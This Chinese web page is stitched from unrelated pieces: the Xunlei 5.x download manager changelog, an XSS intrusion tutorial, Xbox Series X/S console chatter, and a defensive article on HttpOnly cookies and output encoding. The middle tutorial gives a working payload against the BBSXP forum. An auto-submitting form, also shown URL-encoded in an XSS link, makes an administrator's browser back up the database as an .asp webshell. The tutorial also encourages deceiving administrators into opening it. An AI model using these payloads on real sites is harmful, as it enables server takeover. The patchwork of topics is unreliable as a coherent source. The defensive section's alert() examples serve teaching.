我用的这个版本的,我很满意!迅雷5.5.1.241
参考资料:迅雷5.5.1.241 (2006.10.27)
===========================
* 重构界面代码,改善了迅雷的启动速度和稳定性
* 高速下载时使用更少的系统资源及磁盘读写
* 添加了Opera及Firefox的浏览器关联支持
* 优化了流媒体侦测图标的显示逻辑
* 搜索条支持分类搜索功能
* 搜索条显示当日热门关键词
* 新增一套皮肤“银装素裹”
* 使用基于Web页面的账号系统
* 修正了突然断电可能导致历史记录丢失的问题
* 修正了登陆掉线后不能自动重连的问题
迅雷5.4.1.230 (2006.9.22)
===========================
* 优化下载算法,降低了CPU占用率
* 修正了下载多个文件导致的内存异常占用BUG
迅雷5.4.0.226 (2006.8.31)
===========================
* 调整下载算法,提高了数据传输的效率和稳定性
* 降低了下载时的CPU占用和内存使用
* 修正了未完成的任务可以在“垃圾箱”进行收藏的问题
* 修正了未打开任务管理时引起的任务消失问题
* 修正了下载迅雷专用链接时文件名存储错误的问题
* 改进了限速功能,能够在不暂停任务的情况下进行限速
迅雷5.3.0.220 (2006.8.11)
===========================
* 改进了登录功能,从迅雷5到迅雷在线时可以保持登录状态
* 增加了资源收藏功能
* 修正了某些情况下迅雷退出崩溃的问题
* 优化了多资源查询技术,能够更准确的进行资源查询
* 修改了用户注册信息
* 修正了手动更新的一个问题
* 新增了IE工具栏迅雷图标,方便用户启动迅雷
* 增加了迅雷资源博客的提示
迅雷5.2.0.207 (2006.6.9)
===========================
* 增加了手动升级功能
* 优化下载算法,提升下载速度
* 修正了在某些情况下迅雷最小化时无法正常关机的问题
* 修正了发布资源时界面中的回车等功能键无效的问题
* 修正某些mms协议的文件无法下载的问题
* 修正用户自定义文件名时发生重定向,文件没有修改扩展名的问题
* 修正了几个引起界面浮点操作异常的问题
* 修正了热门推荐的几个bug
* 修正了通过右键添加任务时线程数不正确的问题
* 修改了迅雷右键菜单的部分文字
迅雷5.1.6.198 (2006.4.24)
===========================
* 增加了连接管理的选项
* 优化了迅雷的安装程序
* 修正了几个引起左键/右键不能启动迅雷的问题
* 修正了热门推荐在某些情况下显示不正确的问题
* 修正了下载时迅雷异常退出的问题
* 修正了迅雷下载时弹出调试界面的问题
* 修正了资源探测器文字显示异常的问题
迅雷5.1.5.189 (2006.3.20)
===========================
* 增加了预下载功能
* 增加了热门推荐功能
* 修正了资源数显示错误的问题
* 修正了文件取名错误的问题
迅雷5.1.4.174 (2006.3.3)
===========================
* 修正了选中"开机自动运行迅雷"和"迅雷启动时,立即开始末完成的下载任务"时任务不自动开始的问题
* 修正了重复下载时迅雷崩溃的问题
* 修正了下载多个任务时迅雷界面锁死的问题
* 修正了迅雷退出时崩溃的问题
* 修正了下载RTSP协议的文件时CPU占用高的问题
* 修正了打开多个网页时感知流媒体功能失效的问题
* 加强了迅雷对FIREFOX浏览器的支持
* 修正了下载时DNS无法正常工作的问题
* 改进了修改密码取回邮箱的功能
* 修改了问题取回密码的预设问题
* 修正了安装迅雷后引起IE崩溃的问题
* 修正了左健和右键无法启动迅雷的问题
* 迅雷的系统栏图标在重启EXPLORER后图标消失的问题
迅雷5.1.3.168 (2006.2.11)
===========================
* 修正了在特殊环境下迅雷崩溃的问题
* 修正了某些Rtsp链接无法下载的问题
* 修正了资源探测器无法访问某些站点的问题
迅雷5.1.2.166 (2006.1.23)
===========================
* 增加了迅雷消息系统
* 增强了迅雷的DNS域名解析功能
* 修正了部分用户出现的登录后自动掉线的问题
* 优化了资源发布功能
* 早期注册用户也可以使用通过问题取回密码的功能
迅雷5.1.1.157 (2006.1.11)
===========================
* 修正了使IE下载失效的问题
* 修正了通过Rtsp协议下载的文件无法正常播放的问题
* 修正了下载小文件时迅雷崩溃的问题
* 修正了几处文字错误
迅雷5.1.0.153 (2006.1.6)
===========================
* 增加了雷区资源发布服务
* 支持Rtsp协议
* 支持Mozilla Firefox浏览器
* 增加了智能站点管理规则
* 增加了测试链接
* 增加了flash和流媒体文件下载功能
* 支持网页上图片的批量下载
* 增加了网页智能分析功能
* 优化了迅雷的启动速度
* 增强了密码保护功能
迅雷5.0.6.98 (2005.11.21)
===========================
* 修正5.0.5.97版本在某些系统下无法进行安装的问题
* 修正在某些环境下界面刷新慢的问题
迅雷5.0.5.97 (2005.11.17)
===========================
* 修正代理支持的问题
迅雷5.0.4.96 (2005.11.16)
===========================
* 支持英文
* 允许已经注册的用户修改注册时填写的邮箱
* 对消息系统进行了调整
* 以注释命名时只取第一行的文字
* 迅雷能够直接使用ie的代理
* 修正了某些任务始终无法完成的问题
* 修正了几个导致迅雷崩溃的问题
* 修正使用代理服务器的用户无法注册和登录雷区的问题
* 修正了批量建立任务时,通配符为1只能建立10个任务的问题
* 修正了XP系统下的非超级用户无法使用迅雷的问题
* 修正了工具栏注册按钮与登录状态不一致的问题
迅雷5.0.3.86 (2005.10.11)
===========================
* 修正安装迅雷时会替换windows media player相关文件的问题
迅雷5.0.2.80 (2005.10.3)
===========================
* 修改了地区中没有“甘肃”的问题
迅雷5.0.1.79 (2005.9.24)
===========================
* 增加注册服务
* 调整了下载算法
* 支持繁体中文
* 集成修改XP系统TCP连接数的补丁
* 增加换肤功能
* 加强了下载完成后杀毒的功能
* 调整了已完成任务详细信息的显示效果
* 新增打开新建任务面板网址栏自动填入剪贴板中链接的功能
* 任务管理窗口右键菜单增加“打开类别目录”
* 修正某些情况下界面闪动的问题
* 修正任务队列功能异常的问题
* 修正剪贴板监视异常的问题
迅雷5.0.0.72 Beta (2005.8.25)
===========================
* 调整磁盘读写的算法
* 修正因配置杀毒软件而引起的错误
* 修正重命名功能
* 修正在配置面板中不能配置开机自动启动的功能
迅雷5.0.0.71 Beta (2005.8.24)
===========================
* 调整调度算法,下载更快更稳定
* 提供多种显示模式,可以根据需要选择不同的显示模式
* 增加浮动信息窗口,更方便的察看任务信息
* 详尽的功能介绍,帮助用户更好的使用迅雷
* 智能的操作提示,自动根据用户的使用情况提出相关的建议
* 错误诊断功能会自动提示用户任务失败的原因,并提供相关的解决办法
* 直观的资源显示模式,帮助用户更好的了解任务的工作状态
* 加强了批量下载功能,支持字母格式的通配符
* 增加工具栏配置,允许用户选择显示哪些按钮
* 新增下载完成后杀毒功能
* 允许导入未完成的下载文件
* 新增导入/导出下载列表文件功能
* 完善了自动升级系统,在有新版本时提示用户升级
* 增加只从原始地址下载的功能
* 支持多代理设置
* 增加清除以前使用存储目录的功能
* 提供了更详细的连接信息
* 增加下载完成后自动打开文件的功能
* 增加了搜索功能
* 改善了下到99%下载不完的问题
* 修正了一些http连接和ftp连接无法下载的问题
* 修正原始地址不支持断点续传的任务在暂停后再下载数据会丢失的问题
* 修正在没有连接成功时就创建数据文件的问题
迅雷4.7.3.53 (2005.7.2)
===========================
* 增加迅雷音乐助手功能
* 增加了迅雷娱乐
* 提高了了资源查询效率
* 捆绑了网译通
* 修正了界面在某些情况下锁死的问题
* 修正了下载时取到错误扩展名的问题
迅雷4.7.2.51 (2005.6.26)
===========================
* 修正了连接迅雷服务器失败的问题
* 修正了某些情况下暂停引起系统资源占用过高的问题
* 修正了使用代理服务器引起的无法查询资源的问题
* 加强了对mms协议的支持
* 优化了资源查询功能,能够更合理的分配下载资源
迅雷4.7.2.50 (2005.6.17)
===========================
* 捆绑一搜和易趣和快易通
* 修改了界面死锁的问题
迅雷4.7.1.48 (2005.5.26)
===========================
* 修正了某些特殊情况下迅雷会自动关闭的问题
* 修正了资源显示的问题
* 优化了下载逻辑
* 完善了迅雷视频娱乐功能
迅雷4.7.0.47 (2005.5.16)
===========================
* 增加了视频娱乐功能
* 增加了彩信功能
* 解决小文件最后20%下载较慢的问题
* 修改了公司信息
* 在垃圾箱确认删除面板的“同时删除文件”默认为选中状态
迅雷4.6.1.44 (2005.4.27)
===========================
* 修正了下载时会得到不同文件的问题
* 修正了无法把存储目录指定为网络地址的问题
* 修改了注释内容的长度限制
* 监视文件类型中增加.mpg文件
迅雷4.5.3.40 (2005.4.7)
===========================
* 支持FTP主动模式下载
* 修改了装机必备栏目
* 修正了FTP资源探测器的一个bug
* 修正了迅雷对某些URL支持不好的问题
* 修正了下载不支持断点续传的文件时迅雷出现异常的问题
迅雷4.5.2.38 (2005.3.17)
===========================
* 支持https协议
* 支持mmst协议
* 可以通过http代理进行资源查询
* 增加了安装完后的用户提示和帮助
* 增加了删除任务时的说明
* 增加了装机必备栏目
* 安装过程中,选择安装目录时,可以新建一个文件夹
* 单击/双击系统栏图标都显示迅雷主窗口
* 新建面板调整了任务分类和存储目录的位置
* 修正了FTP资源探测器对端口支持的一个bug
* 修正了迅雷连接信息的显示
* 修正了安装时用户选择目录后,会自动往这个目录后面添加目录的问题
* 修正了异常关机时历史纪录文件会损坏的问题
* 修正了下载任务的状态信息不刷新的问题
* 修正了创建文件时迅雷界面锁死的问题
* 修正了没有选中任务,按“删除”键,也会弹出删除确认消息框的问题
* 修正了对某些特殊ftp支持不好的问题
* 修正了在某些WIN98系统下无法安装的问题
迅雷4.5.1.35 (2005.2.28)
===========================
* 增加FTP资源探测器
* 新建一个任务时焦点自动定位到“正在下载”,同时显示连接信息
* 悬浮窗右键菜单/系统栏图标右键菜单增加选项
* 改变了新建任务面板/默认配置面板的存放目录浏览界面
* 在“正在下载”、“已下载”增加右键菜单“全部删除”
* 自动修正文件扩展名
* 规范所有的菜单项
* 取消任务管理窗口最小化
* 文件名取错的问题
* 点击新建面版的广告会导致系统没有反应
* 在某些情况下暂停慢的问题
* 下载不存在文件,任务长时间没有失败
* 帮助信息面版中把2003-2004改为2003-2005
* 查询资源返回时间过长
* 下载文件连接信息不友好
* ftp探测器显示文件大小错误的问题
* 限速下暂停时cpu长时间99%的问题
* 迅雷正在下载文件时重新安装迅雷出错
* 纠错功能的加强和完善。
* http取不到文件大小的连接可以下载
* 原始url连接和取资源有一个成功后,就可以立即开始下载
* 可以按照一定策略自动重新取资源
* 用原始url查询不到资源时,可以用重定向url取资源
* 下载取不到正确文件名的bug修正
* 在下载文件大于2G的时候,下载出现错误
* 修复了一些特殊情况无法下载的bug
* 对ftp忙链的支持更好
* 下到99.9%后,剩下的数据很长时间下载不下来的问题得到了改善
* 修复了bho导致ie死掉、98下卸载不完全的bug
* 解决ie右键菜单中“使用迅雷下载”消失的问题
迅雷4.3.1.28 (2005.1.19)
===========================
* 如果引用页过长,则“浏览引用页”,迅雷立即自动退出
* 配置面板做出的目录的修改不能保存
* 在“任务管理窗口”不能设置类别的目录到 c:\ 根目录
* 修正了迅雷占用内存大的问题,最小化迅雷时内存占用仅为3M左右
迅雷4.3.0.27 (2005.1.14)
===========================
* 增加了对mms协议的支持
* 增加了使用迅雷下载全部链接的功能
* 最小化迅雷时新建任务不弹出迅雷主界面
* 改变了在新建面板点存储目录的浏览时弹出的目录选择窗口的样式
* 增加了“记住最后使用的类别和目录”选项
* 右键菜单增加“重命名”
* 增加了按住“shift+ delete”键或“shift”键加鼠标单击删除按钮可以直接删除任务的功能
* 工具栏增加了“速度限制”按钮
* 增加了影音文件的彩铃下载和铃声点播
* 捆绑一搜工具条
* 修正了速度显示不稳定的问题
* 修正了“已下载”及子分类属性修改后配置中的对应目录没有更改的问题
* 修正了在Win98、WinMe下面,‘文件移动到’功能无法使用的问题
* 修正了WIN98下迅雷运行时不能正常关机或注销的问题
迅雷4.2.0.25Beta (2004.12.24)
===========================
* 增加了资讯内容
* 修正了页面的刷新问题
迅雷4.1.2.24 (2004.12.12)
===========================
* 校验错时,有消息框提示是否重下
* 广告控件和做了一些变动,解决上不了网频繁刷新的问题
* 修正了i/o字节急速增大的问题
* 修正了历史文件转换出问题导致的下了一半的文件升级后得重新下载的问题
迅雷4.1.1.23 (2004.11.24)
===========================
* 校验出错暂停后,多次重复下载
* 代理服务器设置后,保存以前选择的
* ftp链接通过http代理服务器下载时,数据下载错误
* 取网卡地址有时会取虚拟网卡的地址,而不是真正的网卡地址
迅雷4.1.0.22 (2004.11.5)
===========================
* 对文件全文hash,下完后检测文件的正确性
* 做一个链接转换工具,而且迅雷能够下载迅雷专有链接
* 所有图片从中文名称改成中文名称
* 已完成和垃圾箱分类添加时间列表,方便用户按时间排序
* 提供一个配置,可以让提示音响和不响
* 限速功能
* 已下载的子类别删除后,迅雷重启后不要新建相关目录
* 迅雷在机器启动时,界面会闪一下
* 已下载目录的属性多次更改后,任务列表会出现乱码
* 广告相关的bug
* 有一个链接无法下载
* 服务器筛选资源不准
* 复制1个在迅雷中监视的后缀名链接,如ok.mp3,会提示'发现不合法url'
* 鼠标左键,弹出两次新建面板
* 设置中的限速配置不能大于999/K
* 新建任务面板中,若URL前面有空格,会提示"URL不合法,请重新输入"
* 存储目录前有空格,会创建文件失败
* 新建/移至任务类别窗口,如果默认目录的格式正确,当输入的长度太长时,迅雷会崩溃
迅雷4.0.3.21 (2004.10.21)
===========================
* 修正了新建任务的存储目录输入"\"时导致下载完毕后,找不到文件的bug
* 点击已下载任务的属性时,弹出任务属性,而不是文件属性了
* 改进了迅雷的启动速度
* 修正了即时速度显示不正确的问题
* 修正了某些http连接无法下载的问题
* 修正了某些ftp连接无法下载的问题
* 修正了某些ftp连接无法通过http代理的问题
* 修正了任务栏窗口点击鼠标右键迅雷崩溃的问题
* 修正了安装迅雷4后,桌面快捷方式还是迅雷3图标的问题
* 修正了下载url时,注释取错的问题
* 修正了迅雷建的目录有时无法删除的
* 广告的url做了调整
迅雷4.0.2.20 (2004.10.21)
===========================
* 解决了bho不能用的问题
* 解决工具条图标错误的问题
* 更换了banner.html
迅雷4.0.1.19 (2004.9.30)
===========================
* 对BHO进行了修正
迅雷4.0.1.18 (2004.9.28)
* 对BHO进行了修正
什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
然后利用下面的技术得到一个shell. [编辑本段]如何利用传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。 [编辑本段]来自内部的跨站攻击寻找跨站漏洞
如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。
如何利用
我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:
c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示
除此之外我们只要在个人签名里输入
同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名
处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的
攻击,对于flash木马的制作,下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下:
再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。 [编辑本段]来自外部的跨站攻击有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论坛,论坛的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论坛提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt,内容如下:
〈body onload="javascript:document.forms[0].submit()"〉〈form
action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉
上面的代码是把论坛的数据库备份为shit.asp,留言板存在跨站点如下:
http://127.0.0.1/bbsxp/page2.asp?username=
我们构造备份跨站语句如下:
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。
当管理员打开后,会自动备份得到一个shell. [编辑本段]XSS与其它技术的结合从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。
总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!
好一个欺骗也是一门艺术,不管是在生活中还是在网络中。生活中难免有些事情不能讲真话,这时采用适当的方法使得我们的假话当作真话讲,这就靠欺骗的艺术了。
XSX性能强,XSS价钱便宜
我个人的实际使用体验是相差不大,可能是我并不太在意画质。如果你追求4K UHD尽可能高渲染分辨率的情况下,XSX可以做到稳定60甚至是120,XSS只能是低渲染分辨率60-120或者高渲染分辨率稳30,两机器都很稳定,少量作品偶尔掉帧或者特定场景掉帧。但是如果不是4K UHD的情况下,你用1080p输出,那么XSX和XSS几乎完全没有区别,因为渲染1080p分辨率是基本功,不过要注意有些xboxone游戏在XSS上运行的版本是Xboxone S的版本,大概是900p的渲染,不是机能问题,是作品问题。玩X|S作品,XSS最高能做到4K60hz,还要什么自行车?“
XSS攻击通常是指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
一、HttpOnly防止劫取Cookie
HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。
我们来看下百度有没有使用。
未登录时的Cookie信息
可以看到,所有Cookie都没有设置HttpOnly,现在我登录下
发现在个叫BDUSS的Cookie设置了HttpOnly。可以猜测此Cookie用于认证。
下面我用PHP来实现下:
?php
header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly",false);
setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);
setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);
?
script
alert(document.cookie);
/script
js只能读到没有HttpOnly标识的Cookie
二、输入检查
输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如、、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。
例如网站注册经常用户名只允许字母和数字的组合,或者邮箱电话,我们会在前端用js进行检查,但在服务器端代码必须再次检查一次,因为客户端的检查很容易绕过。
网上有许多开源的“XSS Filter”的实现,但是它们应该选择性的使用,因为它们对特殊字符的过滤可能并非数据的本意。比如一款php的lib_filter类:
$filter = new lib_filter();
echo $filter-go('1+11');
它输出的是1,这大大歪曲了数据的语义,因此什么情况应该对哪些字符进行过滤应该适情况而定。
三、输出检查
大多人都知道输入需要做检查,但却忽略了输出检查。
1、在HTML标签中输出
如代码:
?php
$a = "scriptalert(1);/script";
$b = "img src=# onerror=alert(2) /";
?
div?=$b?/div
a href="#"?=$a?/a
这样客户端受到xss攻击,解决方法就是对变量使用htmlEncode,php中的函数是htmlentities
?php
$a = "scriptalert(1);/script";
$b = "img src=# onerror=alert(2) /";
?
div?=htmlentities($b)?/div
a href="#"?=htmlentities($a)?/a
2、在HTML属性中输出
div id="div" name ="$var"/div
这种情况防御也是使用htmlEncode
在owasp-php中实现:
$immune_htmlattr = array(',', '.', '-', '_');
$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");
3、在script标签中输出
如代码:
?php
$c = "1;alert(3)";
?
script type="text/javascript"
var c = ?=$c?;
/script
这样xss又生效了。首先js变量输出一定要在引号内,但是如果我$c = "\"abc;alert(123);//",你会发现放引号中都没用,自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符,都使用十六进制"\xHH"的方式进行编码。这里我采用开源的owasp-php方法来实现
$immune = array("");
echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");
最后输出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F
4、在事件中输出
a href="#" onclick="funcA('$var')" test/a
可能攻击方法
a href="#" onclick="funcA('');alter(/xss/;//')"test/a
这个其实就是写在script中,所以跟3防御相同
5、在css中输出
在owasp-php中实现:
$immune = array("");
$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');
6、在地址中输出
先确保变量是否是"http"开头,然后再使用js的encodeURI或encodeURIComponent方法。
在owasp-php中实现:
$instance = ESAPI::getEncoder();
$instance-encodeForURL(‘url’);
四、处理富文体
就像我写这篇博客,我几乎可以随意输入任意字符,插入图片,插入代码,还可以设置样式。这个时要做的就是设置好白名单,严格控制标签。能自定义 css件麻烦事,因此最好使用成熟的开源框架来检查。php可以使用htmlpurify
五、防御DOM Based XSS
DOM Based XSS是从javascript中输出数据到HTML页面里。
script
var x = "$var";
document.write("a href='"+x+"'test/a");
/script
按照三中输出检查用到的防御方法,在x赋值时进行编码,但是当document.write输出数据到HTML时,浏览器重新渲染了页面,会将x进行解码,因此这么一来,相当于没有编码,而产生xss。
防御方法:首先,还是应该做输出防御编码的,但后面如果是输出到事件或脚本,则要再做一次javascriptEncode编码,如果是输出到HTML内容或属性,则要做一次HTMLEncode。
会触发DOM Based XSS的地方有很多:
document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()
PS5和XSX也一样,主机版本目前都有这个问题。
在游戏过程中是60帧,回放以及插入的动画是30帧。所以你会明显感觉掉帧。
xss概念:完全值得的次世代主机 xbox series s (简称xss) 可以说是次世代最便宜的主机,微软也号称这是一款完完全全的次世代主机。
我来说两句